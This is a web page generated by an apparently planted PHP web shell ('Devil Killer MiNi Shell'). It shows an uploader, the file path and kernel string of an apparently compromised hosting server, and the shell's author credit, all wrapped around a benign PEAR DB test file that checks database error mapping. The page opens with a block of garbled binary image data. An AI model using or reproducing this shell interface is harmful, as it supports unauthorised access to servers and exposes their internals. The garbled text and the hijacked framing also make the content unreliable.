JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-5.3.13/lib/php/test/DB/tests/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-5.3.13/lib/php/test/DB/tests/errors.inc

<?php

/**
 * Tests the drivers' error mapping
 *
 * Executed by driver/10errormap.phpt
 *
 * PHP versions 4 and 5
 *
 * LICENSE: This source file is subject to version 3.0 of the PHP license
 * that is available through the world-wide-web at the following URI:
 * http://www.php.net/license/3_0.txt.  If you did not receive a copy of
 * the PHP License and are unable to obtain it through the web, please
 * send a note to license@php.net so we can mail you a copy immediately.
 *
 * @category   Database
 * @package    DB
 * @author     Daniel Convissor <danielc@php.net>
 * @copyright  1997-2007 The PHP Group
 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
 * @version    $Id: errors.inc 239211 2007-07-06 05:19:21Z aharvey $
 * @link       http://pear.php.net/package/DB
 */

/**
 * Determine if the error from the driver matches the error we expect
 *
 * If things are as we expect, print out "matches expected outcome"
 *
 * If things go wrong, print "UNEXPECTED OUTCOME" and display the
 * error's information.
 *
 * @param object  $e                 the DB_Error object from the query
 * @param int     $expected_db_code  the DB_ERROR* constant to expect
 * @param boolean $should_be_error   does the DBMS consider this an error?
 *
 * @return void
 */
function check_error($e, $expected_db_code, $should_be_error = true) {
    if ($should_be_error) {
        if (DB::isError($e)) {
            if ($e->getCode() == $expected_db_code) {
                print "matches expected outcome\n";
            } else {
                print "UNEXPECTED OUTCOME...\n";
                print '    PEAR::DB errorcode: ' . $e->getCode() . "\n";
                print '    ' . $e->getUserInfo() . "\n";
            }
        } else {
            print "\n    UNEXPECTED OUTCOME... expected error but it wasn't\n";
        }
    } else {
        if (DB::isError($e)) {
            print "UNEXPECTED OUTCOME... didn't expect error but it was\n";
            print '    PEAR::DB errorcode: ' . $e->getCode() . "\n";
            print '    ' . $e->getUserInfo() . "\n";
        } else {
            print "matches expected outcome\n";
        }
    }
}

/**
 * Local error callback handler
 * 
 * @param object  $o  PEAR error object automatically passed to this method
 * @return void
 * @see PEAR::setErrorHandling()
 */
function pe($o) {
    print "\n---------------\n";
    print "Having problems creating a table for testing...\n";
    print $o->getDebugInfo() . "\n";
    print "---------------\n";
}


$dbh->setErrorHandling(PEAR_ERROR_RETURN);


print 'DB_ERROR_NOSUCHTABLE for select:  ';
$res = $dbh->query('SELECT * FROM tableThatsBogus');
check_error($res, DB_ERROR_NOSUCHTABLE);

print 'DB_ERROR_NOSUCHTABLE for drop:  ';
$res = drop_table($dbh, 'tableThatsBogus');
check_error($res, DB_ERROR_NOSUCHTABLE);

print 'DB_ERROR_NOT_FOUND for drop index:  ';
switch ($dbh->phptype . ':' . $dbh->dbsyntax) {
    case 'fbsql:fbsql':
    case 'ibase:firebird':
    case 'ibase:ibase':
    case 'ifx:ifx':
    case 'odbc:db2':
    case 'oci8:oci8':
    case 'pgsql:pgsql':
    case 'sqlite:sqlite':
        $res = $dbh->query('DROP INDEX fakeindex');
        break;
    case 'mssql:mssql':
    case 'sybase:sybase':
        $res = $dbh->query('DROP INDEX phptest.fakeindex');
        break;
    case 'msql:msql':
        $res = $dbh->query('DROP INDEX fakeindex FROM phptest');
        break;
    default:
        $res = $dbh->query('DROP INDEX fakeindex ON phptest');
}
check_error($res, DB_ERROR_NOT_FOUND);


print 'DB_ERROR_ALREADY_EXISTS for create table:  ';
$res = $dbh->query($test_mktable_query);
check_error($res, DB_ERROR_ALREADY_EXISTS);

print 'DB_ERROR_ALREADY_EXISTS for create index:  ';
$res = drop_table($dbh, 'a');
$dbh->pushErrorHandling(PEAR_ERROR_CALLBACK, 'pe');
$res = $dbh->query('CREATE TABLE a (a INTEGER)');
$dbh->popErrorHandling();
$res = $dbh->query('CREATE INDEX aa_idx ON a (a)');
$res = $dbh->query('CREATE INDEX aa_idx ON a (a)');
switch ($dbh->phptype) {
    case 'fbsql':
        // FrontBase doesn't assign a specific code for this yet.
        check_error($res, DB_ERROR_ALREADY_EXISTS, false);
        break;
    default:
        check_error($res, DB_ERROR_ALREADY_EXISTS);
}
$res = drop_table($dbh, 'a');


print 'DB_ERROR_CONSTRAINT for primary key insert duplicate:  ';
$res = drop_table($dbh, 'a');
$dbh->pushErrorHandling(PEAR_ERROR_CALLBACK, 'pe');
switch ($dbh->phptype) {
    case 'msql':
        $res = $dbh->query('CREATE TABLE a (a INTEGER NOT NULL)');
        $res = $dbh->query('CREATE UNIQUE INDEX apk ON a (a)');
        break;
    default:
        $res = $dbh->query('CREATE TABLE a (a INTEGER NOT NULL, PRIMARY KEY (a))');
}
$dbh->popErrorHandling();
$res = $dbh->query('INSERT INTO a VALUES (1)');
$res = $dbh->query('INSERT INTO a VALUES (1)');
check_error($res, DB_ERROR_CONSTRAINT);


print 'DB_ERROR_CONSTRAINT for primary key update duplicate:  ';
$res = $dbh->query('INSERT INTO a VALUES (2)');
$res = $dbh->query('UPDATE a SET a=1 WHERE a=2');
check_error($res, DB_ERROR_CONSTRAINT);


print 'DB_ERROR_CONSTRAINT for unique key insert duplicate:  ';
$res = drop_table($dbh, 'a');
$dbh->pushErrorHandling(PEAR_ERROR_CALLBACK, 'pe');
switch ($dbh->phptype) {
    case 'msql':
        $res = $dbh->query('CREATE TABLE a (a INTEGER NOT NULL)');
        $res = $dbh->query('CREATE UNIQUE INDEX auk ON a (a)');
        break;
    default:
        $res = $dbh->query('CREATE TABLE a (a INTEGER NOT NULL, UNIQUE (a))');
}
$dbh->popErrorHandling();
$res = $dbh->query('INSERT INTO a VALUES (1)');
$res = $dbh->query('INSERT INTO a VALUES (1)');
check_error($res, DB_ERROR_CONSTRAINT);


print 'DB_ERROR_CONSTRAINT for unique key update duplicate:  ';
$res = $dbh->query('INSERT INTO a VALUES (2)');
$res = $dbh->query('UPDATE a SET a=1 WHERE a=2');
check_error($res, DB_ERROR_CONSTRAINT);


print 'DB_ERROR_CONSTRAINT for foreign key on insert:  ';
$res = drop_table($dbh, 'b');
$res = drop_table($dbh, 'a');
$dbh->pushErrorHandling(PEAR_ERROR_CALLBACK, 'pe');
switch ($dbh->phptype) {
    case 'mysql':
    case 'mysqli':
        $res = $dbh->query('CREATE TABLE a (a INT NOT NULL, '
                    . 'PRIMARY KEY (a)) '
                    . 'TYPE=INNODB');
        $res = $dbh->query('CREATE TABLE b (b INT, '
                    . 'INDEX par_ind (b), '
                    . 'FOREIGN KEY (b) REFERENCES a (a)) '
                    . 'TYPE=INNODB');
        $dbh->popErrorHandling();
        break;

    case 'msql':
        // msql does not support foreign keys
        $res = $dbh->query('CREATE TABLE a (a INTEGER NOT NULL)');
        $res = $dbh->query('CREATE UNIQUE INDEX auk ON a (a)');
        $dbh->popErrorHandling();
        $res = $dbh->query('CREATE TABLE b (b INTEGER REFERENCES a (a))');
        if (DB::isError($res)) {
            print "matches expected outcome\n";
            print "DB_ERROR_CONSTRAINT for foreign key on delete:  matches expected outcome\n";
        } else {
            print "WOW, it seems mSQL now supports references\n";
            print "WOW, it seems mSQL now supports references\n";
        }
        break;

    default:
        $res = $dbh->query('CREATE TABLE a (a INTEGER NOT NULL, PRIMARY KEY (a))');
        $res = $dbh->query('CREATE TABLE b (b INTEGER REFERENCES a (a))');
        $dbh->popErrorHandling();
}

if ($dbh->phptype != 'msql') {
    $res = $dbh->query('INSERT INTO a (a) values (1)');
    $res = $dbh->query('INSERT INTO b (b) values (2)');
    switch ($dbh->phptype) {
        case 'sqlite':
            check_error($res, DB_ERROR_CONSTRAINT, false);
            break;
        default:
            check_error($res, DB_ERROR_CONSTRAINT);
    }   

    print 'DB_ERROR_CONSTRAINT for foreign key on delete:  ';
    $res = $dbh->query('INSERT INTO b (b) values (1)');
    $res = $dbh->query('DELETE FROM a WHERE a = 1');
    switch ($dbh->phptype) {
        case 'sqlite':
            check_error($res, DB_ERROR_CONSTRAINT, false);
            break;
        default:
            check_error($res, DB_ERROR_CONSTRAINT);
    }
}


print 'DB_ERROR_CONSTRAINT_NOT_NULL on insert:  ';
$res = drop_table($dbh, 'peartestnull');
$dbh->pushErrorHandling(PEAR_ERROR_CALLBACK, 'pe');
$res = $dbh->query('CREATE TABLE peartestnull (a CHAR(3) NOT NULL)');
$dbh->popErrorHandling();
$res = $dbh->query('INSERT INTO peartestnull VALUES (NULL)');
check_error($res, DB_ERROR_CONSTRAINT_NOT_NULL);


print 'DB_ERROR_CONSTRAINT_NOT_NULL on update:  ';
$res = $dbh->query("INSERT INTO peartestnull VALUES ('one')");
$res = $dbh->query("UPDATE peartestnull SET a = NULL WHERE a = 'one'");
switch ($dbh->phptype) {
    case 'mysql':
    case 'mysqli':
        check_error($res, DB_ERROR_CONSTRAINT_NOT_NULL, false);
        break;
    default:
        check_error($res, DB_ERROR_CONSTRAINT_NOT_NULL);
}


print 'DB_ERROR_NOSUCHFIELD joining ON bogus column:  ';
$res = $dbh->query('SELECT * FROM phptest JOIN a ON (phptest.a = a.b)');
switch ($dbh->phptype . ':' . $dbh->dbsyntax) {
    case 'msql:msql':
    case 'odbc:access':
        check_error($res, DB_ERROR_SYNTAX);
        break;
    default:
        check_error($res, DB_ERROR_NOSUCHFIELD);
}


print 'DB_ERROR_NOSUCHFIELD joining USING bogus column:  ';
$res = $dbh->query('SELECT * FROM phptest JOIN a USING (b)');
switch ($dbh->phptype . ':' . $dbh->dbsyntax) {
    case 'ibase:firebird':
        /* FirebirdSQL 2 returns -902 (feature is not supported) for this test
         * rather than a syntax error. For now, we'll test for both. */
        if ($res->getCode() == DB_ERROR_SYNTAX)
            check_error($res, DB_ERROR_SYNTAX);
        else
            check_error($res, DB_ERROR_NOT_CAPABLE);
        break;
    case 'ibase:ibase':
    case 'ifx:ifx':
    case 'msql:msql':
    case 'odbc:access':
    case 'odbc:db2':
    case 'sybase:sybase':
        check_error($res, DB_ERROR_SYNTAX);
        break;
    default:
        check_error($res, DB_ERROR_NOSUCHFIELD);
}


print 'DB_ERROR_DIVZERO:  ';
// Interbase detects the error on fetching
$res = $dbh->getAll('SELECT 0/0 FROM phptest');
switch ($dbh->phptype) {
    case 'odbc':
        switch ($dbh->dbsyntax) {
            case 'access':
                check_error($res, DB_ERROR_DIVZERO, false);
                break;
            case 'db2':
                check_error($res, DB_ERROR_DIVZERO);
                break;
        }
        break;
    case 'msql':
        check_error($res, DB_ERROR_SYNTAX);
        break;
    case 'fbsql':
    case 'ibase':
    case 'mssql':
    case 'mysql':
    case 'mysqli':
    case 'sqlite':
        /* Not all databases detect division by zero errors. We call these
         * databases "broken". */
        check_error($res, null, false);
        break;
    default:
        check_error($res, DB_ERROR_DIVZERO);
}


print 'DB_ERROR_INVALID_NUMBER putting chars in INT column:  ';
$res = $dbh->query("UPDATE phptest SET a = 'abc' WHERE a = 42");
switch ($dbh->phptype) {
    case 'mysql':
    case 'mysqli':
    case 'sqlite':
        check_error($res, DB_ERROR_INVALID_NUMBER, false);
        break;
    default:
        check_error($res, DB_ERROR_INVALID_NUMBER);
}


print 'DB_ERROR_INVALID_NUMBER putting float in INT column:  ';
$res = $dbh->query("UPDATE phptest SET a = 8.9 WHERE a = 42");
switch ($dbh->phptype) {
    case 'fbsql':
    case 'ibase':
    case 'ifx':
    case 'mssql':
    case 'mysql':
    case 'mysqli':
    case 'oci8':
    case 'odbc':
    case 'pgsql':
    case 'sqlite':
        check_error($res, DB_ERROR_INVALID_NUMBER, false);
        break;
    default:
        check_error($res, DB_ERROR_INVALID_NUMBER);
}


print 'DB_ERROR_INVALID_NUMBER putting excessive int in INT column:  ';
$res = $dbh->query("UPDATE phptest SET a = 18446744073709551616 WHERE a = 42");
switch ($dbh->phptype . ':' . $dbh->dbsyntax) {
    case 'ibase:ibase':
    case 'ibase:firebird':
        check_error($res, DB_ERROR_SYNTAX);
        break;
    case 'fbsql:fbsql':
    case 'ifx:ifx':
    case 'msql:msql':
    case 'mssql:mssql':
    case 'mysql:mysql':
    case 'mysqli:mysqli':
    case 'oci8:oci8':
    case 'odbc:access':
    case 'sqlite:sqlite':
        check_error($res, DB_ERROR_INVALID_NUMBER, false);
        break;
    default:
        check_error($res, DB_ERROR_INVALID_NUMBER);
}


print 'DB_ERROR_INVALID_NUMBER putting int in CHAR column:  ';
$res = $dbh->query("UPDATE phptest SET b = 8 WHERE a = 42");
switch ($dbh->phptype . ':' . $dbh->dbsyntax) {
    case 'ibase:ibase':
    case 'ibase:firebird':
    case 'ifx:ifx':
    case 'mssql:mssql':
    case 'mysql:mysql':
    case 'mysqli:mysqli':
    case 'oci8:oci8':
    case 'odbc:access':
    case 'pgsql:pgsql':
    case 'sqlite:sqlite':
        check_error($res, DB_ERROR_INVALID_NUMBER, false);
        break;
    default:
        check_error($res, DB_ERROR_INVALID_NUMBER);
}


print 'DB_ERROR_NOSUCHFIELD:  ';
$res = $dbh->query('SELECT e FROM phptest');
check_error($res, DB_ERROR_NOSUCHFIELD);


print 'DB_ERROR_SYNTAX:  ';
$res = $dbh->query('CREATE');
check_error($res, DB_ERROR_SYNTAX);


print 'DB_ERROR_VALUE_COUNT_ON_ROW:  ';
$res = $dbh->query('INSERT INTO phptest (a) VALUES (678, 2)');
switch ($dbh->phptype) {
    case 'msql':
        check_error($res, DB_ERROR_VALUE_COUNT_ON_ROW, false);
        break;
    default:
        check_error($res, DB_ERROR_VALUE_COUNT_ON_ROW);
}


print 'DB_ERROR_INVALID on CHAR column data too long:  ';
$res = $dbh->query("INSERT INTO phptest (b) VALUES ('123456789.123456789.123456789.123456789.1')");
switch ($dbh->phptype . ':' . $dbh->dbsyntax) {
    case 'ifx:ifx':
    case 'msql:msql':
    case 'mssql:mssql':
    case 'mysql:mysql':
    case 'mysqli:mysqli':
    case 'odbc:access':
    case 'sqlite:sqlite':
    case 'sybase:sybase':
        check_error($res, DB_ERROR_INVALID, false);
        break;
    case 'fbsql:fbsql':
        check_error($res, DB_ERROR_TRUNCATED);
        break;
    default:
        check_error($res, DB_ERROR_INVALID);
}


print 'DB_ERROR_INVALID on VARCHAR column data too long:  ';
$res = $dbh->query("INSERT INTO phptest (d) VALUES ('123456789.123456789.1')");
switch ($dbh->phptype . ':' . $dbh->dbsyntax) {
    case 'ifx:ifx':
    case 'msql:msql':
    case 'mssql:mssql':
    case 'mysql:mysql':
    case 'mysqli:mysqli':
    case 'odbc:access':
    case 'sqlite:sqlite':
    case 'sybase:sybase':
        check_error($res, DB_ERROR_INVALID, false);
        break;
    case 'fbsql:fbsql':
        check_error($res, DB_ERROR_TRUNCATED);
        break;
    default:
        check_error($res, DB_ERROR_INVALID);
}



drop_table($dbh, 'phptest');
drop_table($dbh, 'b');
drop_table($dbh, 'a');
drop_table($dbh, 'peartestnull');

Creat By MiNi SheLL
Email: devilkiller@gmail.com